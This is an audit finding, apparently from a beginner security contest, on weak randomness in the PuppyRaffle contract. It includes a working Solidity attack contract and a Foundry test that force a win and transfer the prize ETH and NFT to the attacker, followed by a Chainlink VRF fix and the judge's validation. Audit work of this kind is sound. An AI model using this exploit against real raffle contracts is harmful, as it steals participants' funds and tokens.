Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Attacker can manipulate raffle winner

Summary

Attacker can manipulate the winner of the raffle and can make himself always be the winner.

Vulnerability Details

The usage of uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length; is vulnerable to predicting the result of the calculation. Therefore an attacker can determine what the result will be and win the raffle.

Impact

The attacker will always win.

Tools Used

Manual Review, Foundry

Proof of Concept

  1. Create Hack.sol

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
import {PuppyRaffle} from "./PuppyRaffle.sol";
import {IERC721} from "@openzeppelin/contracts/token/ERC721/IERC721.sol";
import {IERC721Receiver} from "@openzeppelin/contracts/token/ERC721/IERC721Receiver.sol";
contract Hack is IERC721Receiver {
uint256 entranceFee;
address owner;
PuppyRaffle puppyRaffle;
constructor(address _puppyRaffle) {
owner = msg.sender;
puppyRaffle = PuppyRaffle(_puppyRaffle);
}
function attack() external payable {
entranceFee = puppyRaffle.entranceFee();
uint256 tokenId = puppyRaffle.totalSupply();
address[] memory players = new address[](1);
players[0] = address(this);
puppyRaffle.enterRaffle{value: msg.value}(players);
uint256 playersLength = 4; // here we hardcode the length of the players array, but the hacker can see the how many users entered the raffle from Etherscan
uint256 winnerIndex = uint256(keccak256(abi.encodePacked(address(this), block.timestamp, block.difficulty))) % playersLength;
uint256 hackIndex = puppyRaffle.getActivePlayerIndex(address(this));
puppyRaffle.selectWinner();
require(address(this) == puppyRaffle.previousWinner(), "attack failed");
(bool success, ) = payable(owner).call{value: address(this).balance}("");
require(success, "transfer failed");
IERC721(address(puppyRaffle)).approve(owner, tokenId);
IERC721(address(puppyRaffle)).transferFrom(address(this), owner, tokenId);
}
function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) external override returns (bytes4) {
return IERC721Receiver.onERC721Received.selector;
}
receive() external payable { }
}
  1. Add the following test case

function testCanManipulateWinner() public playerEntered {
uint256 tokenId = puppyRaffle.totalSupply();
uint256 multiplier = 1; // we start with multiplier 1, but works with any number
// Some players entered the raffle before the attack
address[] memory players = new address[](2);
players[0] = playerTwo;
players[1] = playerThree;
puppyRaffle.enterRaffle{value: entranceFee * 2}(players);
address attacker = address(10);
vm.prank(attacker);
Hack hack = new Hack(address(puppyRaffle));
// Execute the attack function until the attacker is the winner
while (puppyRaffle.previousWinner() != address(hack)) {
vm.warp(block.timestamp + duration * multiplier);
vm.roll(block.number + multiplier);
try hack.attack{value: entranceFee}() {
} catch {
multiplier++;
}
}
address nftOwner = puppyRaffle.ownerOf(tokenId);
// Validate if attacker succeeded
assertEq(puppyRaffle.previousWinner(), address(hack));
assertEq(nftOwner, attacker);
assertGt(attacker.balance, 0);
}
[PASS] testCanManipulateWinner() (gas: 743117)

Recommendations

Use Chainlink VRF to generate random numbers.

Updates

Lead Judging Commences

Hamiltonite Lead Judge about 2 years ago
Submission Judgement Published
Validated
Assigned finding tags:

weak-randomness

Root cause: bad RNG Impact: manipulate winner

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!